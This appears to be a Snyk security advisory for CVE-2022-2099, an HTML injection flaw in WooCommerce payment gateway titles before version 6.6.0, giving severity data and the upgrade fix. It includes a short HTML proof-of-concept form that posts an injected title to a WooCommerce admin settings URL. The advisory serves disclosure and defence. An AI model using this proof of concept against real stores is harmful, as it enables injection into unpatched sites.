HTML Injection Affecting woocommerce/woocommerce package, versions <6.6.0


Severity

Recommended
0.0
medium
0
10

CVSS assessment made by Snyk's Security Team. Learn more

Threat Intelligence

Exploit Maturity
Proof of concept
EPSS
0.05% (25th percentile)

Do your applications use this vulnerable package?

In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.

Test your applications

Snyk Learn

Learn about HTML Injection vulnerabilities in an interactive lesson.

Start learning
  • Snyk IDSNYK-PHP-WOOCOMMERCEWOOCOMMERCE-2958045
  • published22 Jul 2022
  • disclosed18 Jul 2022
  • creditUnknown

Introduced: 18 Jul 2022

CVE-2022-2099  (opens in a new tab)
CWE-94  (opens in a new tab)

How to fix?

Upgrade woocommerce/woocommerce to version 6.6.0 or higher.

Overview

woocommerce/woocommerce is an eCommerce toolkit that helps you sell anything.

Affected versions of this package are vulnerable to HTML Injection due to lack of escaping and sanitizing in the payment gateway titles.

PoC

<html>
<form action="http://example.com/wp-admin/admin.php?page=wc-settings&tab=checkout&section=bacs" method="POST">
<input class="input-text regular-input " type="text" name="woocommerce_bacs_title" id="woocommerce_bacs_title" style="" value="HTML INJECTION" placeholder="">

<p class="submit">
    <button name="save" class="button-primary woocommerce-save-button" type="submit" value="Save changes">Save changes</button>
    <input type="hidden" id="_wpnonce" name="_wpnonce" value="bfdcc984ec"><input type="hidden" name="_wp_http_referer" value="/wp-admin/admin.php?page=wc-settings&amp;tab=checkout&amp;section=bacs">		</p>
    </form>
</html>  

CVSS Scores

version 3.1